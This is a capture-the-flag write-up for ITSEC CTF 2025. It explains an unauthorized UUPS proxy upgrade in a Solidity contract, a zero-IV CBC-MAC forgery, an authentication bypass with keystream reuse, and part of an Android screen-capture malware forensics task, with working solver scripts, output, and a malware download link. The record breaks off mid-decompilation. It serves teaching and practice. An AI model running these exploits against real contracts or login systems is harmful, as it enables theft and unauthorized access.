ITSEC CTF 2025

https://itsecsummit.events/competition/



CHALL’S SOLVED

CategoryChallenge
BlockchainHope
CryptographyController
CryptographyIngfokan Login
ForensicsHMICast [Late]
ForensicsHacked
ForensicsNight Shift

A huge thank’s to ITSEC CTF 2025 organizers for providing such great and interesting CTF challenges.



Blockchain

Hope

Overview

Author: …

Description: Notice that “Hope” is a luxury? Some already have it, some… can FORCE it.

Connection Info: 54.254.152.24:51002

blockchain_false_hope.zip

First blockhain challenge that I solved in last day (Day 3 Comp)

Setup.sol
 1// SPDX-License-Identifier: Kiinzu
 2pragma solidity 0.8.28;
 3
 4import { Hope } from "./Hope.sol";
 5import { HopeBeacon } from "./HopeBeacon.sol";
 6
 7
 8contract Setup{
 9    Hope public immutable hope;
10    HopeBeacon public immutable HB;
11
12    constructor() payable {
13        hope = new Hope();
14
15        bytes memory initializationCall = abi.encodeCall(hope.initialize, ());
16        HB = new HopeBeacon(address(hope), initializationCall);
17    }
18
19    function isSolved() external returns(bool){
20        bytes memory testIfSolve = abi.encodeCall(hope.isHopeAvailable, ());
21        (bool success, bytes memory rawData) = address(HB).call(testIfSolve);
22        require(success);
23        return abi.decode(rawData, (bool));
24    }
25    
26}

The vulnerability is that the upgradeToAndCall(address,bytes) function in the Hope.sol contract, inherited from UUPSUpgradeable, is public. It lacks a crucial access control modifier like onlyOwner. This allows any external actor to call this function on the proxy, thereby replacing the implementation contract’s address with a new one.

Hope.sol
 1// SPDX-License-Identifier: Kiinzu
 2pragma solidity 0.8.28;
 3
 4import { UUPSUpgradeable } from "openzeppelin-contracts-upgradeable/contracts/proxy/utils/UUPSUpgradeable.sol";
 5import { OwnableUpgradeable } from "openzeppelin-contracts-upgradeable/contracts/access/OwnableUpgradeable.sol";
 6
 7contract Hope is UUPSUpgradeable, OwnableUpgradeable{
 8
 9    address private _proxy;
10
11    uint256 private hopeVersion;
12
13    event InitializeHOPEUpgrade(address _newHope, uint256 _fromVersion, uint256 _toVersion);
14
15    function initialize() public initializer{
16        __Ownable_init(msg.sender);
17        hopeVersion = 1;
18    }
19
20    function isHopeAvailable() public pure returns(bool){
21        return false;
22    }
23
24    function getHopeVersion() public view onlyProxy returns(uint256){
25        return _getHopeVersion();
26    }
27
28    function _getHopeVersion() internal view onlyProxy returns(uint256) {
29        return hopeVersion;
30    }
31
32    function _authorizeUpgrade(address _newImplementation) internal override onlyProxy{
33        uint256 currentVersion = hopeVersion++;
34        uint256 newVersion = hopeVersion;
35        emit InitializeHOPEUpgrade(_newImplementation, currentVersion, newVersion);
36    }
37
38}
HopeBeacon.sol
1// SPDX-License-Identifier: Kiinzu
2pragma solidity 0.8.28;
3
4import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
5
6contract HopeBeacon is ERC1967Proxy{
7    constructor(address _implementation, bytes memory _data) ERC1967Proxy(_implementation, _data){}
8}

The first step is to create a malicious contract that will serve as the new implementation. This contract is nearly identical to Hope.sol, but the isHopeAvailable() function is modified to return true. Then deployed to the blockchain to get its address.

FalseHope.sol
 1// SPDX-License-Identifier: Kiinzu
 2pragma solidity 0.8.28;
 3
 4import { UUPSUpgradeable } from "@openzeppelin-contracts-upgradeable/contracts/proxy/utils/UUPSUpgradeable.sol";
 5import { OwnableUpgradeable } from "@openzeppelin-contracts-upgradeable/contracts/access/OwnableUpgradeable.sol";
 6
 7contract FalseHope is UUPSUpgradeable, OwnableUpgradeable{
 8
 9    address private _proxy;
10
11    uint256 private hopeVersion;
12
13    event InitializeHOPEUpgrade(address _newHope, uint256 _fromVersion, uint256 _toVersion);
14
15    function initialize() public initializer{
16        __Ownable_init(msg.sender);
17        hopeVersion = 1;
18    }
19
20    function isHopeAvailable() public pure returns(bool){
21        return true;
22    }
23
24    function getHopeVersion() public view onlyProxy returns(uint256){
25        return _getHopeVersion();
26    }
27
28    function _getHopeVersion() internal view onlyProxy returns(uint256) {
29        return hopeVersion;
30    }
31
32    function _authorizeUpgrade(address _newImplementation) internal override onlyProxy{
33        uint256 currentVersion = hopeVersion++;
34        uint256 newVersion = hopeVersion;
35        emit InitializeHOPEUpgrade(_newImplementation, currentVersion, newVersion);
36    }
37
38}

The second step is to craft a calldata payload to call the upgradeToAndCall function on the proxy contract (HopeBeacon). The solver script demonstrates how to construct this payload.

solver.py
 1import os
 2from foundpy import *
 3from web3 import Web3
 4
 5RPC_URL = "http://54.254.152.24:51002/5d396d05-46c1-4b25-941d-e2cd5963a57e"
 6PRIVKEY = "940d71ecda78ccc29af34df2e8133745d96e1d703fd96dc3a01f7914bbe847f1"
 7SETUP_CONTRACT_ADDR = "0xBb18DAE5F83B998294CCb4145876Ad0Fa7bfF75d"
 8
 9config.setup(RPC_URL, PRIVKEY)
10
11base_path = os.getcwd()
12remappings = [
13    f"@openzeppelin/contracts={base_path}/node_modules/@openzeppelin/contracts",
14    f"openzeppelin-contracts-upgradeable/contracts={base_path}/node_modules/@openzeppelin/contracts-upgradeable",
15    f"@openzeppelin-contracts-upgradeable/contracts={base_path}/node_modules/@openzeppelin/contracts-upgradeable"
16]
17
18def main():
19    setup = Contract(SETUP_CONTRACT_ADDR, "Setup.sol", import_remappings=remappings)
20    hope_logic_addr = setup.call("hope")
21    proxy_addr = setup.call("HB")
22    print(f"[INFO] Setup: {setup.address}")
23    print(f"[INFO] Hope Logic: {hope_logic_addr}")
24    print(f"[INFO] Proxy: {proxy_addr}")
25
26    false_hope = deploy_contract("FalseHope.sol", import_remappings=remappings)
27    print(f"[INFO] FalseHope deployed: {false_hope.address}")
28
29    func_selector = "0x4f1ef286"
30    address_param = false_hope.address[2:].lower().zfill(64)
31    offset_param = "0000000000000000000000000000000000000000000000000000000000000040"
32    length_param = "0000000000000000000000000000000000000000000000000000000000000000"
33    call_data = func_selector + address_param + offset_param + length_param
34
35    tx = {
36        'to': proxy_addr,
37        'data': call_data,
38        'from': config.w3.eth.default_account,
39        'gas': 300000,
40        'gasPrice': config.w3.eth.gas_price,
41    }
42    receipt = config.w3.eth.wait_for_transaction_receipt(
43        config.w3.eth.send_transaction(tx)
44    )
45
46    if receipt.status == 1:
47        print("[SUCCESS] upgradeToAndCall executed")
48    else:
49        print("[FAIL] upgradeToAndCall failed")
50
51    if setup.call("isSolved"):
52        print("SOLVED!")
53    else:
54        print("Not solved")
55
56if __name__ == "__main__":
57    main()

To exploits a smart contract vulnerability by first deploying a new contract implementation called FalseHope. It then constructs a raw transaction payload targeting the HopeBeacon proxy contract. This payload is specifically crafted to call the public upgradeToAndCall function, passing the address of the newly deployed FalseHope contract as the new logic implementation. By sending this transaction, it performs an unauthorized upgrade of the proxy, which changes the contract’s logic to meet the winning condition, thus successfully solving the challenge when isSolved() is checked.

$ python3 solver.py
[INFO] Setup: 0xBb18DAE5F83B998294CCb4145876Ad0Fa7bfF75d
[INFO] Hope Logic: 0x7eF168E63C8CF5010a3d13a0f9352078e820FD84
[INFO] Proxy: 0x2597C55AAB3d6675437EaCDD7F2612A0095A5250
[INFO] FalseHope deployed: 0x40ce57cE0E85B4C1da054a8c6d60f210302B8c27
[SUCCESS] upgradeToAndCall executed
SOLVED!
FLAG

ITSEC{N0w_1_c4N_tak30v3r_th3_c0ntr0l}



Cryptography

Controller

Overview

Author: Jakwan Bagung

Description: Some search, never finding a way Before long, they waste away I found you, something told me to stay
Flag Format: ITSEC{.*}
nc 13.250.98.246 20255

chall.py
secret.py

First crypto challenge in Day 1.

The main vulnerability is CBC-MAC Forgery, caused by the use of a static, zero-valued Initialization Vector (IV) in the AES-CBC encryption. This allows an attacker to craft a valid tag (signature) for a message of their choice (in this case, the admin’s username) by constructing it block by block.

The challenge implements an authentication system using a “tag” generated by the signature class. This class is essentially an implementation of AES-CBC-MAC.

  1. tag(m) Function: This function takes a message m (in hex format), encrypts it using AES in CBC mode, and returns the last ciphertext block as the tag.
  2. Weak IV: The critical vulnerability lies in line 21: self.iv = b"\x00" * self.blocksize. The IV is set to a constant value: 16 bytes of nulls.

In CBC encryption, each ciphertext block $C_i$ is calculated using the formula: $$C_i = E_k(P_i ⊕ C_{i-1})$$ Where $P_i$ is the plaintext block, $C_{i-1}$ is the previous ciphertext block, and $E_k$ is the encryption function with key $k$. For the first block, $C_0$ is the IV.

Since the IV is always zero ($IV = 0$), the formula for the first block becomes: $$C_1 = E_k(P_1 ⊕ IV) = E_k(P_1 ⊕ 0) = E_k(P_1)$$

This allows us to obtain the raw encryption result of a single plaintext block ($P_1$) simply by requesting its tag. With this result ($C_1$), we can proceed to craft the second ciphertext block ($C_2$) for the combined message $P_1 || P_2$, and so on.

chall.py
  1#!/usr/bin/env python3
  2import os
  3from Crypto.Cipher import AES
  4from Crypto.Util.Padding import pad
  5import hashlib
  6from secret import flag
  7
  8
  9user_database = []
 10class User:
 11    def __init__(self, username, password, isAdmin, tag):
 12        self.username = username
 13        self.password = hashlib.md5(password.encode()).hexdigest()
 14        self.isAdmin = isAdmin
 15        self.tag = tag
 16
 17class signature():
 18    def __init__(self, key):
 19        self.key = key
 20        self.blocksize = 16
 21        self.iv = b"\x00" * self.blocksize
 22
 23    def tag(self, m):
 24        m = bytes.fromhex(m)
 25        if len(m) % 16 != 0:
 26            m = pad(m, self.blocksize)
 27        c1 = AES.new(self.key, AES.MODE_CBC, iv = self.iv).encrypt(m)
 28        return c1[-self.blocksize:].hex()
 29
 30    def verify(self, m, tag):
 31        return self.tag(m) == tag
 32
 33def check_availibility(username):
 34    for i in user_database:
 35        if username == i.username:
 36            return False
 37    return True
 38
 39def check_userpass(username, password):
 40    for i in user_database:
 41        if username == i.username:
 42            return hashlib.md5(password).hexdigest() == i.password
 43    return False
 44
 45def check_usertoken(username, token):
 46    for i in user_database:
 47        if username == i.username:
 48            return token == i.tag
 49    return False
 50
 51def check_privilege(username):
 52    for i in user_database:
 53        if username == i.username:
 54            return i.isAdmin
 55    return False
 56
 57
 58def main():
 59    bebek = signature(os.urandom(16))
 60    user_database.append(User(b"thegreatestadminsinthewholeworld", os.urandom(16).hex(), True, bebek.tag(b"thegreatestadminsinthewholeworld".hex())))
 61
 62    print("===HAPPY HAPPY ITSEC aCCounT PAGE==")
 63    while True:
 64        print("1. Register")
 65        print("2. Login")
 66        choice = input(">> ")
 67        try:
 68            if choice == "1":
 69                regis_user = input("Username (hex): ")
 70                regis_password = input("Password: ")
 71                avail = check_availibility(bytes.fromhex(regis_user))
 72                if avail:
 73                    user_database.append(User(bytes.fromhex(regis_user), regis_password, False, bebek.tag(regis_user)))
 74                    auth_token = bebek.tag(regis_user)
 75                    print("User successfully registered!")
 76                    print(f"your authentication token: {auth_token}")
 77                else:
 78                    print("User already exist!")
 79
 80            elif choice == "2":
 81                print("a. Login with password")
 82                print("b. Login with token")
 83                login_choice = input(">> ")
 84                if login_choice == "a":
 85                    login_user = bytes.fromhex(input("Username (hex): "))
 86                    login_pass = input("Password: ")
 87                    result = check_userpass(login_user, login_pass.encode())
 88                    if result:
 89                        print(f"Hello {login_user.decode()}, You are logged in!")
 90                        priv = check_privilege(login_user)
 91                        if priv:
 92                            print(f"As a superadmin, here's your flag: {flag}")
 93                        else:
 94                            print("Too bad you are not superadmin")
 95                    else:
 96                        print("Login failed!") 
 97                elif login_choice == "b":
 98                    login_user = bytes.fromhex(input("Username (hex): "))
 99                    login_token = input("Token: ")
100                    result = check_usertoken(login_user, login_token)
101                    if result:
102                        print(f"Hello {login_user.decode()}, You are logged in!")
103                        priv = check_privilege(login_user)
104                        if priv:
105                            print(f"As a superadmin, here's your flag: {flag}")
106                        else:
107                            print("Too bad you are not superadmin")
108                    else:
109                        print("Login failed!")
110            elif choice == "3":
111                exit()
112        except:
113            print("Application Error!")
114
115if __name__ == '__main__':
116    main()

We need to craft a valid tag for the admin username b"thegreatestadminsinthewholeworld" to log in and get the flag.

Step 1: Splitting the Admin Username

The admin username is 33 bytes long. When the tag function is called, this message will be padded to 48 bytes (3 blocks of 16 bytes). Let’s call these plaintext blocks P1, P2, and P3.

  • P1 = b'thegreatestadmin'
  • P2 = b'sinthewholeworld'
  • P3 = b'd' + b'\x0f'*15 (The character ’d’ followed by 15 bytes of 0x0f padding)

Step 2: Obtaining C1

We can get C1 = E_k(P1) by registering a new user with P1 as the username.

  1. Action: Register with the username P1.hex().
  2. Result: The server will return a token, which is tag(P1.hex()). Since the IV is zero, this token is exactly C1.

Step 3: Using C1 to Obtain C2

Now that we have C1, we want the server to compute C2 = E_k(P2 ⊕ C1). We can trick the server into doing this for us.

  1. Action: Create a new message M_forge = P2 ⊕ C1. Then, register with the username M_forge.hex().
  2. Result: The server will compute tag(M_forge.hex()). Its calculation is E_k(M_forge ⊕ IV). Because the IV is zero, the result is E_k(M_forge) = E_k(P2 ⊕ C1), which is exactly C2. The token returned by the server is C2.

Step 4: Using C2 to Obtain the Final Tag (C3)

The process is the same as the previous step.

  1. Action: Create the final message M_final_forge = P3 ⊕ C2. Register with the username M_final_forge.hex().
  2. Result: The server will return a token that is E_k(M_final_forge) = E_k(P3 ⊕ C2), which is C3.

This C3 is the valid token/tag for the original admin username.

Step 5: Login

Use the admin username b"thegreatestadminsinthewholeworld" and the C3 token we just crafted to log in and retrieve the flag.

solver.py
 1from pwn import *
 2import binascii
 3
 4io = remote('13.250.98.246', 20255)
 5
 6admin_user = b"thegreatestadminsinthewholeworld"
 7log.info(f"Target Username: {admin_user.decode()}")
 8
 9m1 = admin_user[:16]
10m2 = admin_user[16:]
11log.info(f"Block M1: {m1}")
12log.info(f"Block M2: {m2}")
13
14log.info("Step 1: Registering with M1 to get intermediate block C1...")
15io.sendlineafter(b'>> ', b'1')
16io.sendlineafter(b'Username (hex): ', binascii.hexlify(m1))
17io.sendlineafter(b'Password: ', b'password123')
18
19io.recvuntil(b'your authentication token: ')
20c1_hex = io.recvline().strip()
21c1 = binascii.unhexlify(c1_hex)
22log.success(f"Received C1 (hex): {c1_hex.decode()}")
23
24log.info("Step 2: Crafting M_forge = M2 XOR C1...")
25m_forge = xor(m2, c1)
26log.info(f"Crafted M_forge: {m_forge.hex()}")
27
28log.info("Registering with M_forge to get the final admin token...")
29io.sendlineafter(b'>> ', b'1')
30io.sendlineafter(b'Username (hex): ', binascii.hexlify(m_forge))
31io.sendlineafter(b'Password: ', b'password456')
32
33io.recvuntil(b'your authentication token: ')
34forged_admin_token = io.recvline().strip()
35log.success(f"Forged Admin Token: {forged_admin_token.decode()}")
36
37log.info("Step 3: Logging in as admin with the forged token...")
38io.sendlineafter(b'>> ', b'2')
39io.sendlineafter(b'>> ', b'b')
40io.sendlineafter(b'Username (hex): ', binascii.hexlify(admin_user))
41io.sendlineafter(b'Token: ', forged_admin_token)
42
43io.recvuntil(b'As a superadmin, here\'s your flag: ')
44flag = io.recvline().decode().strip()
45log.success(f"FLAG: ITSEC{{{flag}}}")
46
47io.close()
FLAG

ITSEC{wh3n_y0u_w1th_m3}



Ingfokan Login

Overview

Author: Jakwan Bagung

Description: winfo parti 5 compe road to immo beton keras siap tabrak n1ka dan juragan raps
Flag Format: ITSEC{.*}
nc 54.254.152.24 2025

Connection Info: 54.254.152.24:51002

chall.py
secret.py

Second crypto chall,

This challenge involves exploiting a custom authentication protocol that contains two major cryptographic weaknesses. The objective is to bypass the authentication and then decrypt a secret sent by the server to obtain the flag.

There are two primary vulnerabilities within the chall.py script.

  1. Authentication Bypass

The credential verification process on the server (server.verifyCred()) compares the credential sent by the client with one calculated by the server itself.

The server’s credential is created in server.computeCred(), which essentially encrypts the portion of the clientChallenge that comes after the first 16 bytes.

We can tamper with the clientChallenge received by the server to be a string of exactly 16 bytes (for instance, b'00’ * 16), then the plaintext will be empty. Consequently, the server’s calculated self.credential will also be empty.

Next, we can tamper with the credential sent by the client, changing it to an empty string. This makes the comparison self.clientCredential == self.credential become "" == “”, which evaluates to True, successfully bypassing authentication.

  1. Keystream Reuse (Known-Plaintext Attack)

After a successful authentication, the server encrypts two messages using the sendCredential function and sends them to us:

server.sendCredential(attacker, server.clientChallenge) -> encrypts our tampered challenge (P1).

server.sendCredential(attacker, server.secret) -> encrypts the secret containing the flag (P2).

The sendCredential function implements a CFB (Cipher Feedback) stream cipher mode. The critical issue is that both encryption processes use the same IV (Initialization Vector). This IV is derived from the first 16 bytes of the clientChallenge that we tampered with.

Using the same IV and key to encrypt two different messages is a fatal vulnerability known as keystream reuse.

If we have:

  • C1 = P1 ⊕ Keystream (Ciphertext 1 = Plaintext 1 XOR Keystream)
  • C2 = P2 ⊕ Keystream (Ciphertext 2 = Plaintext 2 XOR Keystream)

We can then recover the keystream because we know P1 (the b'00’ * 16 challenge we supplied) and we receive C1.

  • Keystream = P1 ⊕ C1

After obtaining the keystream, we can easily decrypt P2 (which contains the flag).

  • P2 = C2 ⊕ Keystream
chall.py
  1from Crypto.Cipher import AES
  2from Crypto.Random import get_random_bytes
  3import hashlib
  4from secret import flag
  5
  6class Server:
  7    def __init__(self):
  8        random = get_random_bytes(256)
  9        self.password = hashlib.md5(random).hexdigest()
 10        assert len(flag) == 16
 11        self.secret = (flag + get_random_bytes(48)).hex()
 12
 13    def receive_challenge(self, challenge):
 14        self.clientChallenge = challenge
 15
 16    def sendChallenge(self, receiver):
 17        self.challenge = get_random_bytes(16).hex() + get_random_bytes(48).hex()
 18        print("sending server challenge: ", self.challenge)
 19        receiver.receive_challenge(self, self.challenge)
 20
 21    def receive_credential(self, credential):
 22        self.clientCredential = credential.decode()
 23
 24    def calculateSessionKey(self):
 25        salt = b""
 26        iterations = 100_000
 27        key_length = 32
 28        self.calculatedKey = hashlib.pbkdf2_hmac('sha256', server.clientChallenge.encode() + self.challenge.encode() + self.password.encode(), salt, iterations, dklen=key_length)
 29
 30
 31    def computeCred(self):
 32        challenge = bytes.fromhex(self.clientChallenge)
 33        iv = challenge[:16]
 34        plaintext = challenge[16:]
 35
 36        cipher_ecb = AES.new(self.calculatedKey, AES.MODE_ECB)
 37        ciphertext = bytearray()
 38        shift_reg = bytearray(iv)
 39
 40        for byte in plaintext:
 41            encrypted = cipher_ecb.encrypt(bytes(shift_reg))
 42            keystream_byte = encrypted[0]
 43            cipher_byte = byte ^ keystream_byte
 44            ciphertext.append(cipher_byte)
 45
 46            shift_reg = shift_reg[1:] + bytes([cipher_byte])
 47
 48        result = bytes(ciphertext)
 49        self.nonce = iv
 50        self.credential = result.hex()
 51
 52    def sendCredential(self, receiver, message):
 53        challenge = bytes.fromhex(message)
 54        plaintext = challenge
 55        cipher_ecb = AES.new(self.calculatedKey, AES.MODE_ECB)
 56        ciphertext = bytearray()
 57        shift_reg = bytearray(self.nonce)
 58
 59        for i in range(0, len(plaintext), 16):
 60            block = plaintext[i:i+16]
 61
 62            encrypted = cipher_ecb.encrypt(bytes(shift_reg))
 63
 64            cipher_block = bytes([b ^ e for b, e in zip(block, encrypted)])
 65            ciphertext.extend(cipher_block)
 66
 67            shift_reg = bytearray(cipher_block)
 68
 69        result = bytes(ciphertext).hex()
 70        print("sending server credential: ", result)
 71        receiver.receive_credential(self, result)
 72
 73
 74    def verifyCred(self):
 75        if self.clientCredential == self.credential:
 76            print("[+] Authentication Successful.")
 77            return True
 78        else:
 79            print("[!] Authentication Failure!")
 80            return False
 81
 82
 83class Client:
 84    def __init__(self, username, password):
 85        self.username = hashlib.md5(username.encode()).hexdigest()
 86        self.password = hashlib.md5(password.encode()).hexdigest()
 87        self.randombytes = get_random_bytes(48).hex()
 88        self.serverChallenge = None
 89        self.serverCredential = None
 90
 91    def sendChallenge(self, receiver):
 92        self.challenge = self.username + self.randombytes
 93        print("sending client challenge: ", self.challenge)
 94        receiver.receive_challenge(self, self.challenge)
 95
 96    def receive_challenge(self, serverChallenge):
 97        self.serverChallenge = serverChallenge
 98
 99    def sendCredential(self, receiver):
100        print("sending client credential: ", self.credential)
101        receiver.receive_credential(self, self.credential)
102
103    def receive_credential(self, credential):
104        self.serverCredential = credential.decode()
105
106    def calculateSessionKey(self):
107        salt = b""
108        iterations = 100_000
109        key_length = 32
110        self.calculatedKey = hashlib.pbkdf2_hmac('sha256', self.challenge.encode() + self.serverChallenge.encode() + self.password.encode(), salt, iterations, dklen=key_length)
111
112    def computeCred(self):
113        challenge = bytes.fromhex(self.challenge)
114        iv = challenge[:16]
115        plaintext = challenge[16:]
116
117        cipher_ecb = AES.new(self.calculatedKey, AES.MODE_ECB)
118        ciphertext = bytearray()
119        shift_reg = bytearray(iv)
120
121        for byte in plaintext:
122            encrypted = cipher_ecb.encrypt(bytes(shift_reg))
123            keystream_byte = encrypted[0]
124            cipher_byte = byte ^ keystream_byte
125            ciphertext.append(cipher_byte)
126
127            shift_reg = shift_reg[1:] + bytes([cipher_byte])
128
129        result = bytes(ciphertext)
130        self.credential = result.hex()
131
132
133class Attacker:
134    def __init__(self, client, server):
135        self.client = client
136        self.server = server
137
138    def relay_challenge(self, receiver, challenge):
139        receiver.receive_challenge(challenge)
140
141    def receive_challenge(self, sender, challenge):
142        tamp = input(f"(tamper): ")
143        if tamp == "fwd":
144            msg_sent = challenge
145        else:
146            msg_sent = tamp
147
148        if sender == self.server:
149            self.relay_challenge(self.client, msg_sent)
150        elif sender == self.client:
151            self.relay_challenge(self.server, msg_sent)
152
153    def relay_credential(self, receiver, challenge):
154        receiver.receive_credential(challenge)
155
156    def receive_credential(self, sender, challenge):
157        tamp = input(f"(tamper): ")
158        if tamp == "fwd":
159            msg_sent = challenge.encode()
160        else:
161            msg_sent = tamp.encode()
162
163        if sender == self.server:
164            self.relay_credential(self.client, msg_sent)
165        elif sender == self.client:
166            self.relay_credential(self.server, msg_sent)
167
168
169if __name__ == "__main__":
170    print("===HAPPY HAPPY ITSEC LOGoN PAGE==")
171    username = input("Username: ")
172    password = input("Password: ")
173
174    client = Client(username, password)
175    server = Server()
176    attacker = Attacker(client, server)
177
178    def begin_communication():
179        while True:
180            client.sendChallenge(attacker)
181            server.sendChallenge(attacker)
182            client.calculateSessionKey()
183            server.calculateSessionKey()
184            client.computeCred()
185            server.computeCred()
186            client.sendCredential(attacker)
187            result = server.verifyCred()
188            if result:
189                server.sendCredential(attacker, server.clientChallenge)
190                server.sendCredential(attacker, server.secret)
191
192    begin_communication()

The steps to exploit this vulnerability are as follows:

  1. Login & Intercept: Log in with any username and password.

  2. Tamper Client Challenge: When the client sends its challenge, we replace it with 16 null bytes (b'00’ * 16). This will be our known plaintext (P1).

  3. Bypass Authentication: When the client sends its credential, we replace it with an empty string to fool the server’s validation.

  4. Receive Ciphertexts: The server will send two ciphertexts.

  • C1: The encrypted result of our b'00’ * 16 challenge.
  • C2: The encrypted result of the secret containing the flag.
  1. Calculate Keystream: Perform an XOR operation between the known plaintext (P1) and the first ciphertext (C1) to recover the keystream. keystream = P1 ⊕ C1

  2. Get the Flag: Perform an XOR operation between the second ciphertext (C2) and the recovered keystream. The result is the flag. flag = C2 ⊕ keystream

solver.py
 1from pwn import *
 2
 3io = remote("54.254.152.24", 2025)
 4
 5io.sendlineafter(b'Username: ', b'ud1n')
 6io.sendlineafter(b'Password: ', b'ud1n')
 7
 8io.sendlineafter(b'(tamper): ', b'00' * 16)
 9io.sendlineafter(b'(tamper): ', b'fwd')
10io.sendlineafter(b'(tamper): ', b'')
11
12io.recvuntil(b'sending server credential: ')
13c1_hex = io.recvline().strip()
14
15io.sendlineafter(b'(tamper): ', b'fwd')
16io.recvuntil(b'sending server credential: ')
17c2_hex = io.recvline().strip()
18
19p1 = bytes.fromhex('00' * 16)
20c1 = bytes.fromhex(c1_hex.decode())
21c2_flag_block = bytes.fromhex(c2_hex.decode()[:32])
22
23keystream = xor(c1, p1)
24
25flag_bytes = xor(c2_flag_block, keystream)
26flag = flag_bytes.decode()
27
28log.success(f"FLAG: ITSEC{{{flag}}} 🚩")
29
30io.close()
$ python3 sol.py
[+] Opening connection to 54.254.152.24 on port 2025: Done
[+] FLAG: ITSEC{i_l1ke_1t_b3tter} 🚩
[*] Closed connection to 54.254.152.24 port 2025
FLAG

ITSEC{i_l1ke_1t_b3tter}



Forensic

HMICast [Late]

Overview

Author: BlackBear

Description: Several important data has been acquired from an employee’s device as an evidence. Dig into the evidence to expose the stealthy actions that went unnoticed.

Notes: This challenge contains real malicious process. Please execute on a safe and controlled environment. We are not responsible for any damages or losses resulting from the use or misuse of this challenge.

Password: vJcCvAN7TZIJn9dQ

Connection Info: nc 13.250.98.246 4437

dumps.7z

First day forensic challenge, solved on the first day, but couldn’t submit on time 😭😭.

We were given a challenge in the form of an Android system dump, where we were asked to analyze the device obtained from an employee as evidence and answer several questions.

1. Is the phone rooted?
Format: yes/no
Answer: yes

I googled and found that one of the applications used to root Android is Magisk. Subsequently, evidence was found that the device was rooted. Using the command tree | grep magisk, I discovered that the Magisk app was installed, indicated by the directory data/app/app/UXpNnlj9PjkB4iDEfPdSKA== and library files specific to Magisk, which is currently the most common tool for rooting Android.

$ tree | grep magisk
...
├── ~~UXpNnlj9PjkB4iDEfPdSKA==
│   └── io.github.vvb2060.magisk-GP-E6zBnQdlL8wAiMlXSkA==
│       ├── base.apk
│       ├── lib
│       │   └── arm
│       │       ├── libbusybox.so
│       │       ├── libinit-ld.so
│       │       ├── libmagisk.so
│       │       ├── libmagiskboot.so
│       │       ├── libmagiskinit.so
│       │       └── libmagiskpolicy.so
2. What is the malicious package name?
Format: com.abc.xyl
Answer: com.itsec.android.hmi

To see the installed package, we can use the simple command tree | grep hmi. This will reveal the directory data/app/app/~~t4gZvUr4eEizq9YXxE6PVQ==/com.itsec.android.hmi-C-csKBxVDuj7Ah_xn3fFKw==.

$ tree | grep magisk
...
└── ~~t4gZvUr4eEizq9YXxE6PVQ==
│   └── com.itsec.android.hmi-C-csKBxVDuj7Ah_xn3fFKw==
│       ├── base.apk
│       ├── base.dm
│       ├── lib
│       │   └── arm
│       └── oat
│           └── arm
│               ├── base.art
│               ├── base.odex
│               └── base.vdex
3. What is the download link of the malicious package?
Format: https://evil.com/maliciousfile
Answer: https://mega.nz/file/uddABYRD#c__klT8jtAiAhKLWNfuOuywoZiRfZfSXqxxryrVslj8

To get the download link for the malicious package, I look up the Chrome browser history. If the malware was downloaded via the browser, the link would be captured in the Browser history.

Typically, the Chrome history file is named History and is located at:

data/com.android.chrome/Default/History

This file is an SQLite database. I then opened it with https://sqliteviewer.app/ to directly view the tables and their values. The main table that needed to be checked was urls.



The URL was found in the urls column with id=11.

4. What is the Android API that attacker use to capture victim's screen?
Format: android.xxx.yyy.zzz
Answer: android.media.projection.MediaProjectionManager

Since we have already get the base.apk file, we can proceed to import and examine it using a decompiler tool like JADX-GUI.

From there, we can search for APIs related to screen recording or capture. The API commonly used for recording the screen on Android is MediaProjection. To find it, proceed as follows:

Import base.apk -> CTRL + Shift + F -> MediaProjectionManager



5. What is the secretkey for image encryption process?
Format: secretkey
Answer: dPGgF7tQlBaGqqmj

This 5th question is quite nguli and involves reverse engineering a native library file, with access to the source code at com -> itsec.android.hmi.

Based on the CryptoService$stringfromnative class, the code points to a native library. Therefore, to find the key, we must analyze this native library file.

CryptoService$stringfromnative
package com.itsec.android.hmi;

/* loaded from: classes.dex */
public final class CryptoService$stringfromnative {

    /* renamed from: a  reason: collision with root package name */
    public static final CryptoService$stringfromnative f1878a = new Object();

    /* JADX WARN: Type inference failed for: r0v0, types: [java.lang.Object, com.itsec.android.hmi.CryptoService$stringfromnative] */
    static {
        System.loadLibrary("native-lib");
    }

    public final native String getAES();

    public final native String getRSA();

    public final native String getRSAKey();
}

First, we need to extract the application with binwalk.

$ binwalk -e base.apk
$ cd _base.apk.extracted/lib/armeabi-v7a

Native library file to be reversed is /lib/armeabi-v7a/libnative-lib.so. I opened it with the IDA 32-bit because after I checked it, I found that this armeabi-v7a library version is a 32-bit ELF binary (for 32-bit ARM CPUs).

$ file libnative-lib.so
libnative-lib.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, BuildID[sha1]=eeeceb87af7f596aefa9186b162c9ef2a3b7e8b2, stripped

Several interesting function appeared, as shown below

  1. Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getAES
  2. Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getRSA
  3. Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getRSAKey
  4. Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getRSAKey
  5. cb64

decompiled Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getAES function

getAES
int __fastcall Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getAES(int a1)
{
  char v3[256]; // [sp+4h] [bp-10Ch] BYREF

  cb64(word_E0D8, v3, 256);
  return (*(int (__fastcall **)(int, char *))(*(_DWORD *)a1 + 668))(a1, v3);
}

decompiled Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getRSA function

getRSA
int __fastcall Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getRSA(int a1)
{
  char v3[256]; // [sp+4h] [bp-10Ch] BYREF

  cb64(word_E0A0, v3, 256);
  return (*(int (__fastcall **)(int, char *))(*(_DWORD *)a1 + 668))(a1, v3);
}

decompiled Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getRSAKey function

getRSAKey
int __fastcall Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getRSAKey(int a1)
{
  char v3[8192]; // [sp+4h] [bp-2014h] BYREF

  cb64(word_E110, v3, 0x2000);
  return (*(int (__fastcall **)(int, char *))(*(_DWORD *)a1 + 668))(a1, v3);
}

decompiled cb64 function

cb64
int __fastcall cb64(const unsigned __int16 *a1, char *a2, int a3)
{
  int v6; // r2
  int v7; // lr
  unsigned int v8; // r10
  int v9; // r6
  _BYTE *v10; // r0
  int v12; // r2
  bool v13; // cc
  int v15; // r12
  unsigned int v16; // r3
